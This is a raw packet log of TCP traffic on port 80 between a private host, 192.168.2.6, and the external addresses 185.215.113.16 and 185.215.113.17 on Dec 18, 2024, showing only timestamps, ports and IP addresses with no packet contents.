Dec 18, 2024 12:00:23.647355080 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.647397995 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.647737980 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.649288893 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.649337053 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.649945974 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.649996996 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.651340008 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.651422024 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.652323008 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.652373075 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.653248072 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:23.653312922 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:23.653383970 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.653403997 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.653431892 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.653466940 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.655448914 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.655513048 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.656474113 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.656527996 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.657511950 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.657704115 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.657780886 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.657912016 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.659643888 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.660336971 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.660855055 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.660907030 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.661664009 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.661757946 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.661998987 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.662153006 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.663692951 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.663749933 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.664657116 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.664719105 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.665680885 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.665738106 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.755151987 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.755229950 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.755356073 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.755419016 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.756083012 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.756135941 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.756515026 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.756561041 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.756882906 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.757215977 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.758491039 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.758538008 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.758711100 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.758822918 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.760518074 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.760571003 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.760778904 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.761044979 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.762559891 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.762609005 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.762629032 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.762839079 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.764667034 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.764712095 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.764774084 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.764909983 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.766763926 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.766808987 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.766896009 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.766995907 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.768582106 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.768634081 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.768796921 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.769105911 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.770617008 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.770857096 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.770911932 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.770982027 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.772360086 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.772486925 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.772716045 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.773602009 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.774307966 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.774350882 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.774885893 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.775038958 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.776001930 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.776235104 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.776290894 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.777748108 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.777800083 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.778934002 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.778991938 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.779505014 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.779711008 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.779778957 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.779824018 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.781248093 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.781310081 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.781311989 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.781367064 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.782932997 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.782994986 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.783049107 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.783307076 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.784619093 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.784854889 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.785176992 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.785231113 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.786174059 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.786230087 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.786351919 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.786402941 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.787826061 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.787884951 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.787976980 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.788032055 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.789397955 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.789514065 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.790760994 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.790822029 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.791065931 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.791076899 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.791109085 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.791121960 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.792841911 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.792889118 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.792907953 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.792936087 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.794280052 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.794358015 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.795022964 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.795419931 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.795799971 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.795916080 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.795959949 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.797382116 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.797449112 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.797621965 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.797689915 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.799000025 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.799052954 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.799154043 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.799519062 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.800525904 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.800575018 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.800694942 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.800775051 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.802165031 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.802263021 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.802969933 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.803014040 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.803797960 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.803808928 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.803848982 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.805337906 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.805367947 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.805429935 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.805429935 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.806947947 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.807356119 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.807372093 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.807393074 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.808706045 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.808758974 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.809299946 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.809343100 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.810149908 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.810194969 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.810785055 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.810853958 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.811732054 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.812058926 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.812099934 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.813441992 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.813488960 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.813515902 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.813555956 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.814901114 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.814945936 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.815021038 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.815063000 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.816545010 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.817312002 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.817369938 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.818248034 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.818298101 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.818423033 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.818517923 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.819946051 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.819993973 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.820658922 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.820703983 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.821377039 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.821453094 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.821471930 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.821517944 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.822938919 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.823349953 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.823494911 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.823542118 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.824527025 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.824572086 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.824716091 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.824759960 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.826116085 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.826256037 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.826302052 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.827753067 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.827790976 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.827833891 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.829335928 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.829380035 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.829828978 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.829874039 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.830943108 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.830993891 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.831118107 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.831162930 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.832423925 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.832499981 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.832974911 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.833017111 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.834012985 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.834062099 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.834136963 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.834180117 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.835679054 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.835865974 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.835923910 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.837213993 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.837291956 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.837939978 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.838848114 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.838922024 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.839696884 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.840492010 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.840542078 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.840703011 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.840749979 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.842164040 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.842216969 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.946082115 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.946216106 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.946319103 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.946702957 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.946753979 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.947051048 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.947099924 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.947232008 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.948256016 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.948312998 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.948313951 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.948355913 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.949523926 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.949584961 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.950017929 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.950067997 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.950794935 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.950845003 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.951164007 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.952256918 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.952306986 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.952402115 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.952450991 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.953352928 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.953591108 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.953644037 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.954632044 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.954672098 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.954682112 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.954715967 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.955862045 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.956137896 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.956187963 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.957160950 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.957218885 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.957282066 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.957333088 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.958348989 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.958396912 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.958440065 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.958487988 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.959537029 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.959638119 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.959685087 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.960800886 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.960851908 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.961182117 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.961955070 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.961992979 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.962027073 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.962086916 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.962286949 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.963100910 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.963171959 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.963404894 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.963455915 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.964310884 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.964355946 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.964379072 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.964423895 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.965497017 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.965572119 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.966020107 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.966068983 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.966784954 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.966836929 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.967099905 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.967169046 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.967798948 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.967897892 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.968976021 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.968986988 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.969023943 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.969047070 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.969048023 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.970120907 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.970174074 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.970725060 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.970779896 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.971560955 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.972520113 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.972529888 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.972565889 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.972568035 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.972601891 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.972642899 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.973620892 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.973669052 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.973822117 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.973871946 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.974757910 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.974831104 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.975040913 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.975089073 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.975943089 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.976458073 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.976512909 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:23.977214098 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:23.977283001 CET	80	49950	185.215.113.16	192.168.2.6
